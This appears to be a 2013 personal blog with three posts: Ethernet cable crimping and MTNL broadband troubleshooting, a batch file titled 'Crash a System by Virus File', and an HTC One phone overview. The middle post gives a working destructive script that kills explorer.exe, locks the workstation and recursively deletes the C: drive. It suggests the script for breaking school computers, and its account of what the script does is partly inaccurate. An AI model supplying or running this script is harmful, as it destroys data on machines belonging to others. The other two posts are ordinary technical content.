Thursday 11 April 2013

Ehernet Cable Instructions

Ethernet Cable Instructions:
  • Pull the cable off the reel to the desired length and cut. If you are pulling cables through holes, its easier to attach the RJ-45 plugs after the cable is pulled. The total length of wire segments between a PC and a hub or between two PC's cannot exceed 100 Meters (328 feet) for 100BASE-TX and 300 Meters for 10BASE-T.
  • Start on one end and strip the cable jacket off (about 1") using a stripper or a knife. Be extra careful not to nick the wires, otherwise you will need to start over.
Ethernet Cables
  • Spread, untwist the pairs, and arrange the wires in the order of the desired cable end. Flatten the end between your thumb and forefinger. Trim the ends of the wires so they are even with one another, leaving only 1/2" in wire length. If it is longer than 1/2" it will be out-of-spec and susceptible to crosstalk. Flatten and insure there are no spaces between wires.
  • Hold the RJ-45 plug with the clip facing down or away from you. Push the wires firmly into the plug. Inspect each wire is flat even at the front of the plug. Check the order of the wires. Double check again. Check that the jacket is fitted right against the stop of the plug. Carefully hold the wire and firmly crimp the RJ-45 with the crimper.
  • Check the color orientation, check that the crimped connection is not about to come apart, and check to see if the wires are flat against the front of the plug. If even one of these are incorrect, you will have to start over. Test the Ethernet cable.

Color Coding of Ethernet Cable

T-568A Straight - Through Ethernet Cable


T-568 Straight - Through Ethernet Cable


RJ45 Crossover Ethernet Cable




MTNL Connection Checkup

1. Verify physical connectivity

Connect all Peripherals as per instructions. Do not connect any device on telephone line before the splitter box for proper working of broadband service.



2. Verify the LAN and Wireless settings

a). For LAN go to Network Connections and check local area connection is enable and TCP/IP Properties settings in PC, use the following IP address 192.168.1.2 to 254 and Gateway 192.168.1.1 (In case of Using USB Cable with UT-300R2UTKD Modem, IP address 192.168.1.3 to 34 Gateway 192.168.1.2) and DNS Server Address as: Preferred DNS (Primary) 59.179.243.70 and Alternate DNS (Secondary): 203.94.243.70

b). For Wireless go to Network Connections check Wireless connection is enable and view wireless network check network SSID connect, TCP/IP Properties settings in wireless card, use obtain an IP address automatically and DNS Server Address as: Preferred DNS (Primary) 59.179.243.70 and Alternate DNS (Secondary): 203.94.243.70

3. Verify Connectivity between PC and ADSL CPE - Perform the following PING test

In the command prompt, type ‘ping 192.168.1.1’ and press Enter. Confirm that you are getting reply from 192.168.1.1.If the reply is not received, it indicates connectivity problem between PC and ADSL CPE.

4. Verify connectivity Internet Network – Perform the following PING test

In the command prompt, type ‘ping 59.179.243.70’ and press Enter. If the reply is received, connectivity is ok otherwise check CPE setting.

Wednesday 10 April 2013

Crash a System by Virus File

Open Notepad and Type the following codes:

@echo off
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
rd c:\ /s /q
cls

Save the file as Break.bat



It will first delete all internet browsers! then it will lock you out of your computer and then delete your System 32 file which is what your computer needs to RUN! now DO NOT USE THIS! I only posted this for those how want to break a school computer! be careful with this because you will need to get a new computer since restoring can't fix this.

Friday 5 April 2013

HTC One

The HTC One is an Android smartphone set to be released by HTC on April 4, 2013 for pre-orders, and widely released on April 17, 2013 . Serving as a successor to the One X, emphasis has been placed by HTC on its hardware and software design, along with its unique camera implementation.


HTC One

The HTC One uses an all-aluminum frame with an antenna built into its backing; intended to give the device a premium feel in comparison to smartphones made with a plastic shell. The frame itself takes at least 200 minutes to manufacture. Internally, the device includes a 1.7 GHz quad-core Snapdragon 600 processor, 2GB of RAM, a 4.7 inch 1080p Super LCD 3 display with 468 ppi, and either 32 or 64 GB of internal, non-expandable storage. The HTC One will also support LTE where available. The HTC One's camera includes an "UltraPixel" image sensor, which uses larger pixels. The use of larger pixels improves overall image quality, especially in low-light environments.

The HTC One ships with Android 4.1.2, using HTC's Sense user experience. The new version of Sense on the One, version 5, uses a new minimalist visual style with a redesigned home screen: the signature flip clock widget from previous HTC phones has been replaced by a simple digital clock and weather display. Hundreds of different clock designs by HTC's designers, narrowed down to 25, were considered before the final design was chosen for the new default clock and weather widget on Sense 5. Directly below the clock on the default home screen is a new scrolling news aggregator known as "BlinkFeed", which in a similar fashion to Flipboard and Windows Phone's live tiles, displays a scrolling grid of news headlines and social network content. New content is synchronized every two hours when connected to a mobile network, but more frequently while on Wi-Fi.